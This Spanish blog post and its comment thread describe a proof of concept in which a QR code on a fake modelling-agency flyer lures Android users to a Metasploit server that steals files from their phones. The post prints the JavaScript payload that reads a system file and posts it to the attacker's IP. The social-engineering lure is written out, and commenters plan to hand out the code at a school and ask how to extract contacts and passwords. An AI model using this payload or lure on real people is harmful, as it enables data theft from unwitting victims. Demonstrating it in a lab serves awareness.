Buenas a todos, hace varias semanas, en concreto una antes del congreso No cON Name, mientras estaba preparándolo con Pablo, un amigo me enviaba por Twitter el siguiente artículo, en el que explicaban como mediante un sencillo código QR con una URL que redireccionaba un terminal móvil (con Android) a una IP y un Puerto donde se encontraba Metasploit escuchando, era posible recuperar información del móvil. Cómo me resultó curiosa la idea me dispuse a realizar una PoC.
Es curioso pensar que gracias a la tecnología actual con una simple hoja de papel (que contendrá el código QR) es posible hackear un terminal para obtener datos del mismo. Esto abre la puerta a los ingenieros sociales, que pueden utilizar todo tipo de tretas para, por ejemplo, conseguir información de móviles de menores, o en el caso de hoy, dándole un poco de humor al asunto, de chicas guapas (para demostrar lo que no se debe hacer, guiño guiño =)).
Todo lo que veréis a continuación es una prueba de concepto realizada en un entorno controlado en local.
En primer lugar necesitaremos una herramienta que nos genere un código QR, tenéis muchas por Internet. A continuación generaréis un código QR que contenga la dirección IP de la máquina donde dejaréis escuchando metasploit por el puerto 80, en mi caso como estoy en una intranet, la 192.168.1.23.
En segundo lugar deberéis escribir en un folio un texto de gancho (Ingeniería Social en su máximo esplendor), para conseguir que las víctimas piquen el anzuelo, y utilicen su terminal móvil con Android para leer el código QR del folio. En nuestro caso, me he inventado una supuesta agencia de modelos que busca azafatas para un congreso :)
Como dato curioso, algunas aplicaciones móviles que decodifican códigos QR, no preguntan tras leer códigos que contienen una URL, si el usuario desea acceder a ellas realmente, y te redirigen directamente al Sitio Web, este es el caso de la aplicación ScanLife, que facilita aún más nuestra estrategia para conseguir que la victima visite nuestra IP.
A continuación os dejo una imagen con mi documento:
El siguiente paso será montar Metasploit para que quede escuchando en la IP 192.168.1.23 por el puerto 80, con el exploit para Android del que hablábamos. Para ello yo he utilizado una VM con Backtrack 5 R1.
Una vez lanzada la distro, ejecutaremos Metasploit desde una shell:
Ahora cargaremos el módulo de Android con el que lanzaremos el ataque y le indicamos que queremos robar el siguiente archivo del móvil (si queréis lanzar otro tipo de ataque podéis ver las distintas opciones con el comando "show options":
Indicamos al módulo que queremos que la víctima sea redirigida directamente a la raíz del servidor:
Y al puerto 80 (si no lo modificamos, por defecto está configurado en el 8080):
Ya solo nos falta arrancar el servidor con el exploit y esperar a una víctima:
Ahora toca realizar ingeniería social, repartiendo por las calles el panfleto de nuestra Agencia de Modelos Flu, buscando víctimas a las que robar sus datos.
Yo he sacrificado para la PoC mi HTC Desire, y he escaneado el código QR, en mi caso (como debería de ser en todas las APP que escaneen QR, aunque haya herramientas como ScanLife que se lo pasan por el forro) me preguntó el móvil antes de redireccionarme a la página sobre si quería realmente abrir el Sitio Web.
Tras aceptar la redirección, en el móvil pude ver una página Web totalmente blanca, cuya URL contenía gran cantidad de símbolos alfanuméricos. Me dispuse a editar el contenido del HTML con un editor que tengo en Android, y pude ver el siguiente código:
<html><body><script lang=javascript>var target_files = Array('system/etc/hosts');var results = new Array();function addField(form, name, value) {var hf = document.createElement('input');hf.setAttribute('type', 'hidden');hf.setAttribute('name', name);hf.setAttribute('value', value);form.appendChild(hf);}function uploadFiles(files) {var form = document.createElement('form');form.setAttribute('method', 'POST');form.setAttribute('action', 'http://192.168.1.23:80/q');var i = 0;for (var fn in files) {addField(form, 'f'+i, btoa(fn));addField(form, 'd'+i, files[fn]);i += 1;}document.body.appendChild(form);form.submit();}for (var fn in target_files) {fn = target_files[fn];xh = new XMLHttpRequest();xh.open('GET', fn, false);xh.onreadystatechange = function() { if (xh.readyState == 4) { results[fn] = btoa(xh.responseText); } }xh.send();}uploadFiles(results);</script></body></html>
Si nos vamos ahora a la consola de Metasploit podremos ver como todo ha funcionado correctamente y ya he logrado obtener la información del móvil:
¿Creo que a partir de ahora os pensaréis dos veces antes de escanear un código QR desde el móvil verdad? }=P Últimamente veo mucho por el metro de Madrid, anuncios por las paredes de una conocida cadena de radio donde se publicitan mediante códigos QR, ¿será una estrategia para espiar las noticias que vamos a publicar en nuestros blogs? o eso solo ocurre en rtve... ;)
Saludos!
Como no entiendo mucho de metasploit ni de backtrak te formulo la siguiente pregunta:Se podria poner en una pagina (cualquiera) un iframe con la con src="192.168.1.23" asi hacemos que el visitante no sospite demasiado. Se capturarian los datos al ser un iframe?Si no se me entiende decidmelo, he intentado explicarlo lo mejor posible
ResponderEliminarSi, pero para eso la web tiene que ser vulnerable a iframe injection.Saludos
ResponderEliminarBueno yo me refería simplemente a que sea propia.
ResponderEliminarVale que es un tema relativamente nuevo, pero si podeis ponernos un enlace, que ya hablamos nosotros de ello... http://blog.vidasconcurrentes.com/android/obteniendo-informacion-de-dispositivos-android-con-metasploit/
ResponderEliminarComo estas cosas siempre hay que probarlas y ya que formo parte del consejo de alumnos de mi instituto,la próxima circular llevará como novedad un código QR para ver "mas información". :)SOLO como prueba de concepto =)Muy bueno Juanan!
ResponderEliminarvazquez jordi: Como estas cosas siempre hay que probarlas y ya que formo parte del consejo de alumnos de mi instituto,la próxima circular llevará como novedad un código QR para ver “mas información”. SOLO como prueba de concepto =)Muy bueno Juanan!Cuidado con las PoC, que cuando haces PoC, ya no hay STOP XD, no acabes la noche con un pijama a rayas.
ResponderEliminarzipus: Bueno yo me refería simplemente a que sea propia.ok!, me iba al caso de explotar vulnerabilidades :P. Si debería funcionar sin problemas, es código ejecutado en el navegador igualmente.saludos!
ResponderEliminarAquí hace tiempo hice una demo de como conseguir info de android usando metasploit ;)http://www.metasploiter.com/2011/02/videotutorial-metasploit-auxiliary.htmlUn saludo
ResponderEliminar¿si escribimos "set FILES /data/cache/basededatosguay.bd" donde se guardaria la basededatosguay.bd en la máquina atacante?
ResponderEliminar[...] a todos, hace algunos meses publicamos el artículo PoC: Robar archivos de Android con Metasploit, un folio y un poco de salero, que tuvo mucho éxito, y algunos de vosotros nos pedisteis un video en el que se viese todo el [...]
ResponderEliminardonde veo los resultados en la maquina atacante?
ResponderEliminarjlgr8: donde veo los resultados en la maquina atacante?En la propia consola de Metasploit.saludos
ResponderEliminarpero juanantonio.calles no habria ninguna forma de guardar los archivos en la maquina atacante?
ResponderEliminaryo tengo mi android rooteado para poder sacarle mas informacion como por ejemplo los contactos o culquier otra cosa pero al escanear el codigo qr lo unico que me manda es la informacion del android el modelo del mobil pero no me da la informacion que segun yo le saque que es la de los contactos
ResponderEliminarestoy tratando de sacarle esto /data/data/com.android.probiders.contacts/contacts.db y al escanear el codigo qr no me manda eso me manda algo parecido a lo de la imagen solo datos del mobil
ResponderEliminar@jlgr8 por las pruebas que he realizado por casa con los cacharros que tengo con Android, a partir de versiones superiores a la 2.3, deja de funcionar el exploit (el exploit tiene ya año y pico). Verás entonces el texto "sending payload" y después no recupera ningún archivo. Lo único que efectivamente verías es la versión y modelo que lo recupera al realizar la conexión con el servidor que monta metasploit.Saludos
ResponderEliminarcomo pudo ver algo mas siempre keda en sending payload y no me muestra mas informacion solo la del mobil modelo vercion idioma etc pero no la que yo le pido!
ResponderEliminarentonces que tengo que hacer¿ayudenmee!!
ResponderEliminarmi android esfirmware 2-1 uptade1kernel 2.6.29compilacion 2.1.1.a.06
ResponderEliminarjlgr8: mi android esfirmware 2-1 uptade1kernel 2.6.29compilacion 2.1.1.a.06Por versión parece que no es, porque las pruebas que he hecho con mi Android más antiguo (2.2.1) ha funcionado sin problemas. ¿Has comprobado que el móvil llegue a descargarse el payload?
ResponderEliminarno nunca eh comprobasdo tienes msn?
ResponderEliminarpues nose eso son los datos que me salen como podria saber que android es? lo unico que veo son los datos que te puse!el firmware el kernelpero no hay un lugar que me confirme que es android 2.1
ResponderEliminartu haz logrado sacarle alguna informacion al androidcomo contactos,numeros,contraseñas nose algo asi?esque lo necesito para una practica que estoy haciendo
ResponderEliminarnunca ah pasado del sending payload siempre queda haytu ya lo graste sacar informacion del mobil como por ejemplo contraseñas contactos¿ algo?
ResponderEliminarlei que el android 2.0 y el 2.1 estan basados en el kernel 2.6.29 y ese es el kernel ke tiene mi mobil
ResponderEliminarpara empezar mi android es un sony erickson xperia x10 mini profirmware 2-1 uptade1kernel 2.6.29compilacion 2.1.1.a.06
ResponderEliminarya vi que mi android es 2.1 y aqui el de la imagen dice android 2.2 porque si se puede con ese y cn el mio solo queda en sending payload
ResponderEliminarHola @jlgr8, intenta juntar los comentarios en uno la próxima vez, por favor, para no alargar mucho el hilo. Tampoco hace falta que nos hagas la misma pregunta en youtube y aquí, con una que nos hagas una lo leemos (nos llega un email por cada comentario en todas las redes) y en cuanto podamos contestaremos.Volviendo al tema, intenta hacer una captura de pantalla a la consola de msf en la que se vea la ejecución completa, a ver si así podemos ver que puede estar pasando.saludos
ResponderEliminarhola juanantonio.calleste paso un video de lo que me pasa espero lo veas y me puedas ayudar http://youtu.be/d_nHqhVo3IAcualquiera que pueda ayudarme se lo agradecere!!
ResponderEliminarjuanito hay deje un video espero lo veas y me puedas ayudar!
ResponderEliminarayudame juanitoo!! tu pudiste sacar informacion del android como conttraseñas o alguna informacion valiosa es para un proyecto que tengo en la escuela espero alguien me pueda ayudar hhay deje el video de lo que hace mi android saludos
ResponderEliminarjlgr8: juadeje un video espero lo veas y me puedas ayudar!Lo siento, no se que te puede ocurrirsaludos
ResponderEliminarah ok gracias juanito, tu no tienes videos donde logres hacer la practica completa pero sacando informacion del android como contactos o contraseñas? espero me ayudes es importante para mi lograr esta practica ya que es para mi escuela y ya me queda poco tiempo
ResponderEliminar